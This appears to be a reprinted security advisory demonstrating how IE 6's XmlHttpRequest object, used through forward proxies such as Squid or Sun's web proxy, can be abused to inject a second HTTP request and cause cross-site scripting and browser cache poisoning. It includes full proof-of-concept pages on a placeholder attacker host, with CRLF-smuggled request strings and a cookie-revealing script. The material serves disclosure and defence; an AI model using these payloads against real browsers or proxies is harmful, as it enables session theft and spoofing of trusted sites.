|
Brought to you by:
Suppliers of:
|
|
|
| |
This paper demonstrate the attack vector mentioned on "Exploiting The XmlHttpRequest Object In IE".
While this is not a new vulnerability, and in some sense not even a new attack vector, according to the author the net effect demonstrated here is disturbing to say the least: IE with the latest service pack, when used with many popular forward proxy servers (which in our opinion is quite a common scenario - think corporate America, universities, some ISPs), is vulnerable to XSS (regardless of the target website) and "local defacement". |
| |
Credit:
The information has been provided by Amit Klein (AKsecurity).
|
| |
In this write-up, I demonstrate how the security issue discussed in "Exploiting The XmlHttpRequest Object In IE" can be exploited to force an XSS condition and/or a browser cache poisoning condition in IE 6.0 SP2, provided it is configured to use a forward proxy server (the attack was verified on Squid 2.5.STABLE10-NT, Apache/2.0.55 mod_proxy and Sun Java System Web Proxy Server 4.0 [AKA SunONE proxy 4.0]) but I believe it would practically work on almost all forward proxy servers, possibly up to some tweaking in the exploitation code).
The root cause is the fact that 2 requests can be injected via the XmlHttpRequest object (henceforth XHR; a key component of the AJAX technology), coupled with the fact that IE sends requests for different hosts on the same TCP connection when it uses a forward proxy server.
The attack idea is simple: the user visits the malicious website, and it, using an XHR object, injects 2 requests (where the browser thinks only one request is present) through the proxy server, to the malicious website. The proxy sends back 2 responses, the browser consumes one for the XHR object, and then the malicious Javascript code forces the browser to send another request (to the target website). This request is then matched to the 2nd response (queued at the browser response queue), and thus we have the XSS condition and the browser cache poisoning condition (which is effectively a "local defacement", at the browser level).
The XSS vector was in fact outlined by Yutaka Oiwa for FireFox 1.0.6 in "Exploiting The XmlHttpRequest Object In IE" - and that advisory was also originally referenced in "Exploiting The XmlHttpRequest Object In IE", yet it is unclear whether Yutaka Oiwa actually lab-tested this particular XSS (and browser cache poisoning) attack.
Please note: this is not a new vulnerability per-se; the basic exploitation was discussed in "Exploiting The XmlHttpRequest Object In IE" (and in "setRequestHeader can be exploited using newline characters" for FireFox) almost 8 months ago. And the basic flaw in IE's implementation of XHR was discussed in "XS(T) attack variants which in some cases, eliminate the need for TRACE" over THREE years ago. This is merely a demonstration of possible outcomes (=attack vectors). Yet I think that their gravity justifies this write-up.
Also note that for brevity's sake, I don't discuss other vectors, such as stealing credentials (including basic HTTP authentication credentials and HttpOnly cookies). That vector was also mentioned in "XS(T) attack variants which in some cases, eliminate the need for TRACE" (for FireFox).
The basic scenario - demonstrated with Squid 2.5.STABLE10-NT:
In essence, the attack comprises of setting up a malicious server (www.evil.site) with 3 pages (http://www.evil.site/1.html, http://www.evil.site/2.html and http://www.evil.site/3.html). In this case, the pages are pure, static HTML pages. The pages will be detailed below; the victim (IE user) is handed a link to the first page, i.e. http://www.evil.site/1.html. Upon clicking this link, an XSS condition is incurred, as well as a local defacement, to the website URL embedded in http://www.evil.site/1.html (in this paper's example, it's http://www.target.site/). As can be appreciated, this has serious implications on www.target.site - while this site can be totally secure, still there's an XSS condition enabling the attacker to steal credentials, etc. Moreover, the browser caches the spoofed www.target.site page, so every subsequent access to http://www.target.site/ by this IE user results in displaying the spoofed page.
Here are the 3 pages needed:
http://www.evil.site/1.html:
<html>
<body>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.evil.site/2.html\tHTTP/1.1\r\nHost:\twww.evil.site\r\nProxy-
Connection:\tKeep-Alive\r\n\r\nGET","/3.html",false);
x.send();
window.open("http://www.target.site/");
</script>
</body>
</html>
http://www.evil.site/2.html:
<html>
<body>
foo
</body>
</html>
http://www.evil.site/3.html:
<html>
<head>
<meta http-equiv="Expires" content="Wed, 01 Jan 2020 00:00:00 GMT">
<meta http-equiv="Cache-Control" content="public">
<meta http-equiv="Last-Modified" content="Fri, 01 Jan 2010 00:00:00 GMT">
</head>
<body>
<script>
alert("DEFACEMENT and XSS: your cookie is"+document.cookie)
</script>
</body>
</html>
Notice the Proxy-Connection: Keep-Alive header inserted to the request stream in 1.html - for some reason, Squid does not maintain HTTP connection persistence unless this header is provided in the request (even when the request is in HTTP/1.1).
The attack flow is as following:
1. The browser loads 1.html, invokes the XHR object, and sends what it thinks is a single request (with weird method, to http://www.evil.site/3.html). This stream is sent to Squid.
2. Squid parses the stream, sees the first HTTP request - to http://www.evil.site/2.html. It serves this request, which is a dummy page.
3. Squid then sees the second HTTP request in the stream, this time to http://www.evil.site/3.html. It serves this request as well.
4. The browser reads the first request from the response stream. It is the content of http://www.evil.site/2.html, which the browser matches to the XHR object request.
5. The browser then proceeds with the Javascript execution in 1.html, and it sends a request to http://www.target.site/.
This is immediately matched to the second proxy response, i.e. to the content of http://www.evil.site/3.html. Thus, http://www.evil.site/3.html is considered by the browser to be http://www.target.site/, with XSS condition and browser cache poisoning condition as a consequence.
Regarding the various cache related headers in http://www.evil.site/3.html, and regarding the longevity of the browser cache poisoning (local defacement) attack, see "Domain Contamination".
Sun Java System Web Proxy Server 4.0:
Basically the exploit for Sun Java System Web Proxy Server 4.0 is very similar to the one used for Squid. The only differences are that Java System Web Proxy Server 4.0 does not support HTTP connection persistence for HTTP/1.0 requests, and it doesn't need the Proxy-Connection: Keep-Alive header for HTTP/1.1 requests. So this can be safely removed from 1.html (but can just as well be kept there).
A more problematic aspect of Sun Java System Web Proxy Server 4.0 is the fact that it doesn't send the Proxy-Connection: Keep-Alive header in the response. This makes IE believe that the proxy wants to terminate the connection (IE, after all, assumes that the connection is HTTP/1.0, whose default is to close the connection). One can overcome this by forcing this header with the pages sent out, i.e. with 2.html and 3.html. This is a simple matter of replacing 2.html and 3.html with dynamic pages (e.g. ASP, PHP, etc.) that add "Proxy-Connection: Keep-Alive" to the response headers.
The exploit would be as following (assuming ASP):
http://www.evil.site/1.html:
<html>
<body>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.evil.site/2.asp\tHTTP/1.1\r\nHost:\twww.evil.site\r\n\r\nGET\thttp:
//www.evil.site/3.asp\tHTTP/1.1\r\nFoo:","bar",false);
x.send();
window.open("http://www.target.site/");
</script>
</body>
</html>
http://www.evil.site/2.asp:
<%
Response.addHeader "Proxy-Connection","Keep-Alive"
%>
<html>
<body>
foo
</body>
</html>
http://www.evil.site/3.asp:
<%
Response.addHeader "Proxy-Connection","Keep-Alive"
%>
<html>
<head>
<meta http-equiv="Expires" content="Wed, 01 Jan 2020 00:00:00 GMT">
<meta http-equiv="Cache-Control" content="public">
<meta http-equiv="Last-Modified" content="Fri, 01 Jan 2010 00:00:00 GMT">
</head>
<body>
<script>
alert("DEFACEMENT and XSS: your cookie is"+document.cookie)
</script>
</body>
| | |
